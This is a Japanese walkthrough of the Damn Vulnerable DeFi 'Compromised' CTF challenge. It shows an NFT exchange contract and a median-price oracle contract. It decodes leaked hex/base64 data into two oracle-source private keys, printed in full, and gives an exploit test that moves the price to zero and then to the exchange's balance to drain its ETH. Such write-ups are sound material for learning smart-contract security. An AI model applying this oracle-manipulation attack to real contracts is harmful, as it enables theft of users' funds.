ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれます。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/7.html
問題の説明:
DeFi プロジェクトを閲覧していると、サーバーからいくつかの奇妙なデータを受け取ります。
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
現在、あるオンチェーン取引所が「DVNFT」というコレクションを販売しています。現在、各アイテムの価格は 999 ETH です。価格はオンチェーンオラクルから提供されており、価格は
0xA73209FB1a42495120166736362A1DfA9F95A105
、0xe92401A4d3af5E446d93D11EEc806b1462b39D15
および0x81A5D6E50C214044bE44cA0CB057fe119097850c
によって提供されています。現在、あなたのアカウントには 0.1 ETH があり、取引所で利用可能なすべての ETH を盗む必要があります。
始める前に、オラクル oracle
の概念を簡単に紹介します。
オラクルは、オフチェーンに保存された情報を取得、検証し、ブロックチェーン上で実行されるスマートコントラクトに転送するアプリケーションです。簡単に言うと、現実世界のデータ(天気情報、身分証明書情報、配送先住所など)をブロックチェーンに保存することです。
web2 の世界では、データは http
リクエストを介して取得できます。しかし、ブロックチェーンでは、現実世界のデータを取得するには、まずそれをブロックチェーンネットワーク内のスマートコントラクトに保存し、その後、他のスマートコントラクトがデータを保存したコントラクトを呼び出すことでデータを取得できます。
次に、この問題のスマートコントラクトのコードを見てみましょう。
Exchange.sol
取引所コントラクトTrustfulOracle.sol
オラクルコントラクトTrustfulOracleInitializer.sol
オラクルコントラクト初期化子
取引所コントラクト#
Exchange.sol
contract Exchange is ReentrancyGuard {
using Address for address payable;
// NFT トークン
DamnValuableNFT public immutable token;
// オラクルコントラクト
TrustfulOracle public immutable oracle;
event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);
constructor(address oracleAddress) payable {
token = new DamnValuableNFT();
oracle = TrustfulOracle(oracleAddress);
}
// NFT を購入する
function buyOne() external payable nonReentrant returns (uint256) {
// 支払った金額を取得
uint256 amountPaidInWei = msg.value;
require(amountPaidInWei > 0, "支払った金額はゼロより大きくなければなりません");
// オラクルコントラクトから中央値価格を取得
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
// 支払う金額が現在の価格以上であることを要求
require(amountPaidInWei >= currentPriceInWei, "支払った金額が不十分です");
// NFT をミントして msg.sender に送信
uint256 tokenId = token.safeMint(msg.sender);
// お釣りを返す、支払いの余分な金額を msg.sender に返す
payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);
emit TokenBought(msg.sender, tokenId, currentPriceInWei);
return tokenId;
}
// NFT を販売する
function sellOne(uint256 tokenId) external nonReentrant {
// 呼び出し元が所有者であることを確認
require(msg.sender == token.ownerOf(tokenId), "売り手は所有者でなければなりません");
// 売却する NFT がこのコントラクトに承認されていることを確認
require(token.getApproved(tokenId) == address(this), "売り手は移転を承認している必要があります");
// オラクルコントラクトから中央値価格を取得
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
// このコントラクトの残高が現在の価格以上であることを確認
require(address(this).balance >= currentPriceInWei, "残高に十分な ETH がありません");
// NFT を msg.sender からこのコントラクトに転送
token.transferFrom(msg.sender, address(this), tokenId);
// tokenId に対応する NFT を焼却
token.burn(tokenId);
// コントラクトから msg.sender に支払い
payable(msg.sender).sendValue(currentPriceInWei);
emit TokenSold(msg.sender, tokenId, currentPriceInWei);
}
receive() external payable {}
}
取引所コントラクトには 2 つの機能があります。
- NFT を購入する
- オラクルコントラクトから価格を取得
- 購入者に NFT をミント
- お釣りを返す
- NFT を販売する:所有する NFT をこのコントラクトに販売
- オラクルコントラクトから価格を取得
- 所有者が持つ NFT を取引所コントラクトに転送
- 所有者が持つ NFT を焼却
- 取引所コントラクトが所有者に送金
オラクルコントラクト#
TrustfulOracle.sol
contract TrustfulOracle is AccessControlEnumerable {
// 2つの役割を定義
// INITIALIZER_ROLE は初期価格を設定でき、1回だけ呼び出すことができます
// 価格を設定できるのは TRUSTED_SOURCE_ROLE のみ
bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256("TRUSTED_SOURCE_ROLE");
bytes32 public constant INITIALIZER_ROLE = keccak256("INITIALIZER_ROLE");
// 価格を記録:どのアドレスがどのトークンの価格を設定したか
mapping(address => mapping (string => uint256)) private pricesBySource;
modifier onlyTrustedSource() {
require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
_;
}
modifier onlyInitializer() {
require(hasRole(INITIALIZER_ROLE, msg.sender));
_;
}
event UpdatedPrice(
address indexed source,
string indexed symbol,
uint256 oldPrice,
uint256 newPrice
);
constructor(address[] memory sources, bool enableInitialization) {
require(sources.length > 0);
// sources に TRUSTED_SOURCE_ROLE をそれぞれ付与
for(uint256 i = 0; i < sources.length; i++) {
_setupRole(TRUSTED_SOURCE_ROLE, sources[i]);
}
// msg.sender に INITIALIZER_ROLE を付与
if (enableInitialization) {
_setupRole(INITIALIZER_ROLE, msg.sender);
}
}
// 初期価格を設定、1回だけ呼び出され、INITIALIZER_ROLE のみが呼び出せます
function setupInitialPrices(
address[] memory sources,
string[] memory symbols,
uint256[] memory prices
)
public
onlyInitializer
{
// 各ソースごとに1つの (symbol, price) のみを許可
require(sources.length == symbols.length && symbols.length == prices.length);
// 価格を設定
for(uint256 i = 0; i < sources.length; i++) {
_setPrice(sources[i], symbols[i], prices[i]);
}
// msg.sender の INITIALIZER_ROLE 権限を取り消す
renounceRole(INITIALIZER_ROLE, msg.sender);
}
// トークンの価格を設定、TRUSTED_SOURCE_ROLE のみが価格を設定できます
function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
_setPrice(msg.sender, symbol, newPrice);
}
// 中央値価格を取得
function getMedianPrice(string calldata symbol) external view returns (uint256) {
return _computeMedianPrice(symbol);
}
// 特定のトークンのすべての価格リストを取得
function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {
// TRUSTED_SOURCE_ROLE の数を取得
uint256 numberOfSources = getNumberOfSources();
// 価格リストを格納する固定長配列を定義
uint256[] memory prices = new uint256[](numberOfSources);
// TRUSTED_SOURCE_ROLE のすべてのアドレスをループ
for (uint256 i = 0; i < numberOfSources; i++) {
// ソースを取得
address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
// 価格を取得
prices[i] = getPriceBySource(symbol, source);
}
return prices;
}
// 価格を取得
function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
return pricesBySource[source][symbol];
}
// TRUSTED_SOURCE_ROLE のアドレス数を取得
function getNumberOfSources() public view returns (uint256) {
return getRoleMemberCount(TRUSTED_SOURCE_ROLE);
}
// 価格を設定し、pricesBySource 変数を更新
function _setPrice(address source, string memory symbol, uint256 newPrice) private {
uint256 oldPrice = pricesBySource[source][symbol];
pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
}
// 中央値価格を計算
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
// TRUSTED_SOURCE_ROLE のアドレス数を取得
// これらの役割をループし、価格リストを取得
// 価格をソート
uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));
// 中央値価格を計算、リストの長さが偶数の場合は中央の2つの数の平均を計算し、奇数の場合は中央の値を取得
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
// 選択ソートを使用して価格リストをソート
function _sort(uint256[] memory arrayOfNumbers) private pure returns (uint256[] memory) {
for (uint256 i = 0; i < arrayOfNumbers.length; i++) {
for (uint256 j = i + 1; j < arrayOfNumbers.length; j++) {
if (arrayOfNumbers[i] > arrayOfNumbers[j]) {
uint256 tmp = arrayOfNumbers[i];
arrayOfNumbers[i] = arrayOfNumbers[j];
arrayOfNumbers[j] = tmp;
}
}
}
return arrayOfNumbers;
}
}
オラクルコントラクトはコード量が多いですが、核心は複数のアドレスが token
の価格を設定できることを許可し、価格の中央値を取得する機能を提供することです。
コントラクトのソースコードを見る限り、特に脆弱性はないようです。しかし、サーバーから受け取った奇妙なデータを覚えていますか?このデータは秘密鍵の可能性があります。
秘密鍵を使用してアカウントアドレスを確認するスクリプトを書きます。
const ethers = require('ethers')
const getPK = key => {
const keyStr = key.split(' ').join('')
const base64 = Buffer.from(keyStr, 'hex').toString('utf-8')
return Buffer.from(base64, 'base64').toString('utf-8')
}
const pk1 = getPK('4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35')
const pk2 = getPK('4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34');
// pk1: 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
// pk2: 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
const wallet1 = new ethers.Wallet(pk1)
const wallet2 = new ethers.Wallet(pk2)
console.log(wallet1.address)
// 0xe92401A4d3af5E446d93D11EEc806b1462b39D15
console.log(wallet2.address)
// 0x81A5D6E50C214044bE44cA0CB057fe119097850c
得られたこの 2 つのアドレスは、ちょうど価格を提供しているアドレスです。したがって、攻撃手順は次のようになります。
- 価格を変更できるアカウントアドレスを使用して価格を 0 に変更
- 攻撃者のアカウントを使用して NFT を購入
- 価格をコントラクトの残高に変更
- 攻撃者のアカウントを使用して NFT を売却
- 初期価格に戻す
テストスクリプトは次のとおりです。
it('Exploit', async function () {
const pk1 = '0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9'
const pk2 = '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48'
const wallet1 = new ethers.Wallet(pk1, ethers.provider)
const wallet2 = new ethers.Wallet(pk2, ethers.provider)
// 価格を0に変更
await this.oracle.connect(wallet1).postPrice('DVNFT', 0)
await this.oracle.connect(wallet2).postPrice('DVNFT', 0)
// NFT を購入
await this.exchange.connect(attacker).buyOne({ value: 1 })
const filter = this.exchange.filters.TokenBought(attacker.address)
const event = (await this.exchange.queryFilter(filter)).pop()
const tokenId = event.args[1]
// 価格をコントラクトの残高に設定
await this.oracle.connect(wallet1).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE)
await this.oracle.connect(wallet2).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE)
// 取引所コントラクトに承認
await this.nftToken.connect(attacker).approve(this.exchange.address, tokenId)
// NFT を売却
await this.exchange.connect(attacker).sellOne(tokenId)
// 初期価格を設定
await this.oracle.connect(wallet1).postPrice('DVNFT', INITIAL_NFT_PRICE)
await this.oracle.connect(wallet2).postPrice('DVNFT', INITIAL_NFT_PRICE)
})
最後に yarn compromised
を実行し、テストが通過しました!